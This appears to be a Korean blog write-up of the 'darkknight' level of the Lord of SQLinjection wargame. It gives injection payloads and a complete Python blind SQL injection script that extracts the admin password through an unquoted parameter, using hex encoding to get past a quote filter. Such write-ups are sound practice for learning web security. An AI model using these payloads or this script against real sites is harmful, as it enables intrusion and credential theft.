문제를 보면 pw, no 파라미터가 있다. 힌트로 나온 php 코드를 보면 pw는 싱글쿼터에 싸여 있고 싱글쿼터는 필터링 처리가 되어있어 공격하기 어려워 보인다. 하지만 no는 쿼터로 싸여 있지 않다. 이 부분에서 공격이 가능하다.

먼저 pw의 길이를 구해야 한다. pw의 길이는 아래와 같이 구한다.

?pw=1&no=1 or id like 0x61646d696e and length(pw) like 8


id의 값을 admin을 하지 않은 이유는 no 파라미터를 통해 들어간 값은 싱글쿼터에 싸여있지 않고, admin은 문자열이기 때문에 mysql에서 문자열은 싱글쿼터에 싸여 있어야지 쿼리로 인식된다. 

따라서 admin을 hex로 변환한 0x61646d696e를 사용했다.


pw의 길이를 구했으니 pw의 값을 blind sql injection을 통해 알아내보자.

아래는 blind sql injection을 위한 코드다.

import urllib, urllib2
url = "http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?"
flag = ""

for i in range(1, 9):
        for j in range(31, 128):
                dat = {'pw': '1',
                       'no': "1 or id like 0x61646d696e and ord(mid(pw,{},1)) like {}".format(i, j)}
                dat = urllib.urlencode(dat)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection golem  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25

+ Recent posts